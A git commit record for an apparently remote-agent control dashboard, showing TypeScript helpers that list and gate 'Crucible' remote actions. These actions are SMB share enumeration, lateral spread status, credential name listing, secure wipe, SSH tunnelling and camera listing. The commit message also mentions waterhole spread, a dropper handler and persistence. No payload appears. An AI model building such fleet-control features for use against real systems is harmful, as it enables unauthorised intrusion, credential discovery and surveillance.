feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -0,0 +1,147 @@
import type { Agent } from '../types';
import {
aggressiveActionHint,
canRunAggressiveAction,
type AggressiveRemoteAction,
} from './aggressiveActions';
/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
export const CRUCIBLE_PHASE_C_ACTIONS = [
'smb_shares',
'spread_status',
'credential_vault_list',
'secure_wipe',
'tunnel_ssh_forward',
] as const;
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
export const CRUCIBLE_PHASE_C_STUBS = [
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
] as const;
export function isWindowsPlatform(platform?: string): boolean {
if (!platform) return true;
return platform.toLowerCase().includes('win');
}
export function onlineAgents(agents: Agent[]): Agent[] {
return agents.filter((a) => a.status === 'online');
}
export function windowsOnlineAgents(agents: Agent[]): Agent[] {
return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
}
/** True when at least one online selected agent can run the aggressive action. */
export function selectionCanRunAggressive(
action: AggressiveRemoteAction,
agents: Agent[]
): boolean {
const targets = onlineAgents(agents);
if (targets.length === 0) return false;
return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
}
/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
export function selectionAggressiveHint(
action: AggressiveRemoteAction,
agents: Agent[]
): string | undefined {
const targets = onlineAgents(agents);
if (targets.length === 0) return 'Select at least one online node';
if (selectionCanRunAggressive(action, agents)) return undefined;
const blocked = targets.find(
(a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
);
return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
}
/** Parse camera_list newline output into device paths/names. */
export function parseCameraListMessage(message: string): string[] {
return message
.split('\n')
.map((l) => l.trim())
.filter((l) => l.length > 0 && !l.startsWith('['));
}
export interface PortForwardRow {
id: string;
localPort: string;
remoteHostPort: string;
sshUser: string;
}
export interface SSHForwardPayload {
local_port: number;
remote_host: string;
remote_port: number;
ssh_user?: string;
}
/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
const trimmed = raw.trim();
if (!trimmed) return null;
if (trimmed.startsWith('[')) {
const end = trimmed.indexOf(']');
if (end < 0) return null;
const host = trimmed.slice(1, end);
const rest = trimmed.slice(end + 1);
if (!rest.startsWith(':')) return null;
const port = parseInt(rest.slice(1), 10);
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
return { host, port };
}
const idx = trimmed.lastIndexOf(':');
if (idx <= 0) return null;
const host = trimmed.slice(0, idx);
const port = parseInt(trimmed.slice(idx + 1), 10);
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
return { host, port };
}
export function buildSSHForwardPayload(
localPort: string,
remoteHostPort: string,
sshUser?: string
): SSHForwardPayload | null {
const local = parseInt(localPort.trim(), 10);
const remote = parseRemoteHostPort(remoteHostPort);
if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
const payload: SSHForwardPayload = {
local_port: local,
remote_host: remote.host,
remote_port: remote.port,
};
const user = sshUser?.trim();
if (user) payload.ssh_user = user;
return payload;
}
export function newPortForwardRow(id?: string): PortForwardRow {
const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
}
export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
if (rows.length === 0) return 'Add at least one forward row';
for (const row of rows) {
if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
return `Invalid row: local ${row.localPort}${row.remoteHostPort}`;
}
}
return null;
}
export type CrucibleDispatchArgs = Record<string, unknown>;
export interface CrucibleDispatchTarget {
id: string;
name: string;
}